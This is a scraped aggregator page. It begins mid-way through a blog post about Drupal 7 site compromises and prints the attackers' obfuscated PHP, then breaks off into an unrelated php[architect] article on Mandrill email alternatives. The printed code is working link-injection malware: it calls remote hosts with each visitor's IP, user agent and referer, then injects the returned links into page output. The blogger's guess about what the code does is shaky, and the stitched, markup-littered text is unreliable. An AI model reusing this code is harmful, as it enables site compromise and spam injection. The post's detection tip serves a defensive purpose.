#000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span a href=http://www.php.net/preg_matchspan style=color: #990000;preg_match/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$//spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/stristrspan style=color: #990000;stristr/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;,/spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;FALSE/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$proxy_header_temp/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/array_shiftspan style=color: #990000;array_shift/span/aspan style=color: #009900;(/spana href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;,/spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #009900;(/spanspan style=color: #000088;$pos_temp/span span style=color: #339933;=/span a href=http://www.php.net/striposspan style=color: #990000;stripos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;,/span span style=color: #0000ff;:/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;FALSE/spanspan style=color: #009900;)/span span style=color: #000088;$proxy_header_temp/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;,/span span style=color: #cc66cc;0/spanspan style=color: #339933;,/span span style=color: #000088;$pos_temp/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/preg_matchspan style=color: #990000;preg_match/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$//spanspan style=color: #339933;,/span span style=color: #000088;$proxy_header_temp/spanspan style=color: #009900;)/span span style=color: #009900;)/span span style=color: #b1b100;return/span span style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;;/span   span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;REMOTE_ADDR/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_url/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_urlspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$url/span span style=color: #339933;=/span span style=color: #0000ff;http:///span span style=color: #339933;./span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_HOST/spanspan style=color: #009900;]/span span style=color: #339933;./span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;REQUEST_URI/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #0000ff;?/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$url/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #0000ff;?/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$url/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_contents/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_contentsspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #339933;,/span span style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spanspan style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;curl_init/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;curl_exec/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$ch/span span style=color: #339933;=/span a href=http://www.php.net/curl_initspan style=color: #990000;curl_init/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;http:///span span style=color: #339933;./spanspan style=color: #000088;$ip/span span style=color: #339933;./span span style=color: #0000ff;//span span style=color: #339933;./spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/curl_setoptspan style=color: #990000;curl_setopt/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #339933;,/span CURLOPT_RETURNTRANSFERspan style=color: #339933;,/span span style=color: #cc66cc;1/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/curl_setoptspan style=color: #990000;curl_setopt/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #339933;,/span CURLOPT_TIMEOUTspan style=color: #339933;,/span span style=color: #cc66cc;3/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/curl_execspan style=color: #990000;curl_exec/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;allow_url_fopen/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_get_contentsspan style=color: #990000;file_get_contents/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;http:///span span style=color: #339933;./spanspan style=color: #000088;$ip/span span style=color: #339933;./span span style=color: #0000ff;//span span style=color: #339933;./spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$fp/span span style=color: #339933;=/span a href=http://www.php.net/fsockopenspan style=color: #990000;fsockopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #339933;,/span span style=color: #cc66cc;80/spanspan style=color: #339933;,/span span style=color: #000088;$errno/spanspan style=color: #339933;,/span span style=color: #000088;$errstr/spanspan style=color: #339933;,/span span style=color: #cc66cc;30/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$out/span span style=color: #339933;=/span span style=color: #0000ff;GET span style=color: #006699; font-weight: bold;$page/span HTTP/1.0span style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span span style=color: #000088;$out/span span style=color: #339933;.=/span span style=color: #0000ff;Host: span style=color: #006699; font-weight: bold;$ip/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span span style=color: #000088;$out/span span style=color: #339933;.=/span span style=color: #0000ff;Connection: Closespan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span a href=http://www.php.net/fwritespan style=color: #990000;fwrite/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #339933;,/span span style=color: #000088;$out/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ret/span span style=color: #339933;=/span span style=color: #0000ff;/spanspan style=color: #339933;;/span span style=color: #b1b100;while/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/feofspan style=color: #990000;feof/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$ret/span span style=color: #339933;.=/span a href=http://www.php.net/fgetsspan style=color: #990000;fgets/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #339933;,/span span style=color: #cc66cc;128/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ret/spanspan style=color: #339933;,/span a href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ret/spanspan style=color: #339933;,/span span style=color: #0000ff;span style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #009900;)/span span style=color: #339933;+/span span style=color: #cc66cc;4/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_samui_get_links/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_samui_get_linksspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$all/span span style=color: #339933;=/span get_know_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/shufflespan style=color: #990000;shuffle/span/aspan style=color: #009900;(/spanspan style=color: #000088;$all/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$url/span span style=color: #339933;=/span ZM5j2q0shf_get_urlspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$real_ip/span span style=color: #339933;=/span ZM5j2q0shf_get_real_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$aid/span span style=color: #339933;=/span span style=color: #0000ff;1001/spanspan style=color: #339933;;/span span style=color: #000088;$cod/span span style=color: #339933;=/span a href=http://www.php.net/md5span style=color: #990000;md5/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;./spana href=http://www.php.net/timespan style=color: #990000;time/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$check/span span style=color: #339933;=/span a href=http://www.php.net/md5span style=color: #990000;md5/span/aspan style=color: #009900;(/spanspan style=color: #000088;$cod/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/urlencodespan style=color: #990000;urlencode/span/aspan style=color: #009900;(/spana href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ref/span span style=color: #339933;=/span a href=http://www.php.net/urlencodespan style=color: #990000;urlencode/span/aspan style=color: #009900;(/spana href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_REFERER/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$page/span span style=color: #339933;=/span span style=color: #0000ff;/ml.php?mother=elite-endohawaii.comamp;cr=1amp;aid=/spanspan style=color: #339933;./spanspan style=color: #000088;$aid/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;url=/spanspan style=color: #339933;./spanspan style=color: #000088;$url/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ip=/spanspan style=color: #339933;./spanspan style=color: #000088;$real_ip/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ua=/spanspan style=color: #339933;./spanspan style=color: #000088;$ua/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;cod=/spanspan style=color: #339933;./spanspan style=color: #000088;$cod/spanspan style=color: #339933;./spanspan style=color: #0000ff;amp;ref=/spanspan style=color: #339933;./spanspan style=color: #000088;$ref/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spanspan style=color: #000088;$all/span span style=color: #b1b100;as/span span style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tc/span span style=color: #339933;=/span ZM5j2q0shf_get_contentsspan style=color: #009900;(/spana href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #339933;,/spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$pos/span span style=color: #339933;=/span a href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/span span style=color: #000088;$check/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #000088;$pos/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$proxy_list/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spanspan style=color: #000088;$pos/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span save_know_ipspan style=color: #009900;(/spana href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;span style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;,/spanspan style=color: #000088;$proxy_list/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$links/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tc/spanspan style=color: #339933;,/spanspan style=color: #000088;$pos/spanspan style=color: #339933;+/spanspan style=color: #cc66cc;32/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$links/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_mod_con/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$con/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$con/spanspan style=color: #339933;,/spanspan style=color: #0000ff;]*)?gt;/i/spanspan style=color: #339933;,/span span style=color: #0000ff;/spanspan style=color: #339933;./spanZM5j2q0shf_samui_get_linksspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;,/span span style=color: #000088;$con/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;1/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$text/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #000088;$con/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_callback/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_callbackspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/headers_sentspan style=color: #990000;headers_sent/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/in_arrayspan style=color: #990000;in_array/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;Content-Encoding: gzip/spanspan style=color: #339933;,/span a href=http://www.php.net/headers_listspan style=color: #990000;headers_list/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tmpfname/span span style=color: #339933;=/span a href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spant_dirspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;,/span span style=color: #0000ff;FOO/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$zf/span span style=color: #339933;=/span a href=http://www.php.net/fopenspan style=color: #990000;fopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #339933;,/span span style=color: #0000ff;w/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fputsspan style=color: #990000;fputs/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zf/spanspan style=color: #339933;,/span span style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$zd/span span style=color: #339933;=/span a href=http://www.php.net/gzopenspan style=color: #990000;gzopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #339933;,/span span style=color: #0000ff;r/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span a href=http://www.php.net/gzreadspan style=color: #990000;gzread/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zd/spanspan style=color: #339933;,/span span style=color: #cc66cc;10000000/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/gzclosespan style=color: #990000;gzclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$zd/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tmpfname/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$contents/span span style=color: #339933;=/span a href=http://www.php.net/gzencodespan style=color: #990000;gzencode/span/aspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #009900;{/span span style=color: #000088;$contents/span span style=color: #339933;=/span ZM5j2q0shf_mod_conspan style=color: #009900;(/spanspan style=color: #000088;$buf/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/spanspan style=color: #009900;(/spanspan style=color: #000088;$contents/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span a href=http://www.php.net/ob_startspan style=color: #990000;ob_start/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_callback/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span/pre/div /div pThere's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the span class=geshifiltercode class=text geshifilter-textunlink/code/span statement above. Don't scroll up, I bet it's in your vision right now.)/p pOn a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code./p pI had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code./p pOne last thing, that's interesting as well as hilariouis. /p pThere is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string./p pSo there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. span class=geshifiltercode class=text geshifilter-text=')/code/span and span class=geshifiltercode class=text geshifilter-text==')/code/span Those are not crying, smiling emojis, but instead they're needles in the haystack./p pThose a pretty weird character strings right? It's almost so weird that you can do a quick a href=http://www.gnu.org/software/grep/manual/grep.html target=_blankgrep/a or a href=https://www.mankier.com/1/ag target=_blankag/a command to find all instances of that weird character string. And that's what I did./p pSo to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out./p pstrongNote/strong: You need to check the database as well. This blog post does not cover that./p /div /div /div

php[architect]: Mandrill Alternatives for PHP Applications

Mon, 04/18/2016 - 19:58
pimg class=alignright size-thumbnail wp-image-10737 src=https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-150x150.jpg alt=email symbol on row of colourful envelopes width=150 height=150 srcset=https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-150x150.jpg 150w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-300x300.jpg 300w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-160x160.jpg 160w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o-50x50.jpg 50w, https://www.phparch.com/wp-content/uploads/2016/04/9162677329_ce2228febd_o.jpg 500w sizes=(max-width: 150px) 100vw, 150px /What would a website be if it couldn#8217;t send emails, even if just for password resets? Running your own mail server is a huge hassle, so many developers instead use a third party service to send transactional emails like password resets, new user welcome messages, and order summaries. One of the most popular services, in part because of their generous free tier, is a href=https://mandrillapp.com/Mandrill/a, owned by a href=http://mailchimp.comMailChimp/a./p pIn case you might have missed the announcement, MailChimp is changing Mandrill to be an add-on to paid MailChimp accounts, thus eliminating the generous free tier. We#8217;re big fans of MailChimp and use its mailing list service for our own announcements, (hey, why not a href=/subscribe-to-updates/join that list/a if you#8217;re not already on subscribed?) but a full MailChimp account isn#8217;t going to be for everybody. They#8217;ve already shut out the ability for new subscriptions, but if you#8217;re a PHP developer who does things like put off your taxes until the last minute (American customers have three extra days this year, but that#8217;s strongtoday/strong), you#8217;re probably sweating the a href=http://blog.mandrill.com/important-changes-to-mandrill.htmlApril 27th deadline/a./p pMany people also know Mandrill by reputation and will need options in the future. For you, we#8217;ve put together this list of viable transactional email alternatives with PHP and major PHP application support. Joomla! and MODX support SMTP integration natively, so you#8217;ll just need the SMTP configuration options from your chosen provider. If you want to use a provider#8217;s web API, see the PHP options below./p pCal Evans did an unscientific Twitter survey to see what options people were migrating to:/p blockquote class=twitter-tweet data-width=500p lang=en dir=ltrIf you are moving off of a href=https://twitter.com/mandrillapp@mandrillapp/a, what are you moving to?/p pmdash; Cal Evans (@CalEvans) a href=https://twitter.com/CalEvans/status/714819176804786176March 29, 2016/a/p/blockquote pscript async src=//platform.twitter.com/widgets.js charset=utf-8/script/p h3SparkPost/h3 pMailChimp#8217;s announcement notes that a href=http://pages.sparkpost.com/sparkpost-vs-mandrill.htmlSparkPost/a has agreed to take on existing Mandrill users and a href=https://www.sparkpost.com/pricinghonor Mandrill#8217;s pricing/a for them. Fortunately, SparkPost has PHP users covered: there is an a href=https://github.com/SparkPost/php-sparkpostofficial PHP API library/a. There is also a a href=https://www.drupal.org/sandbox/dr_dave_w/2542958Drupal module/a, but unfortunately it seems to be 7.x only at this writing and is only a sandbox project—you#8217;ll have to a href=https://www.drupal.org/project/2542958/git-instructionsinstall it via git/a. Drupal 8 users should be able to use the official API library with Composer. WordPress developers are in more luck: there is an a href=https://wordpress.org/plugins/sparkpost/official WordPress plugin/a. SparkPost provides a a href=https://support.sparkpost.com/customer/en/portal/articles/2356667-using-sparkpost-with-magento?b_id=7411guide for Magento devs using the SMTP Pro extension/a. SparkPost also has one of the most generous plans we#8217;ve seend, with 100,000 free emails per month, though you can not exceed that limit without upgrading ahead of time./p h3SendGrid/h3 pA long time option for PHP users has been a href=https://sendgrid.com/marketing/mandrill-alternativeSendGrid/a. (Full disclosure: SendGrid has sponsored our a href=https://tek.phparch.comphp[tek] conference/a in the past, but is not a current sponsor.) They have an a href=https://github.com/sendgrid/sendgrid-phpofficial PHP API/a, installable via 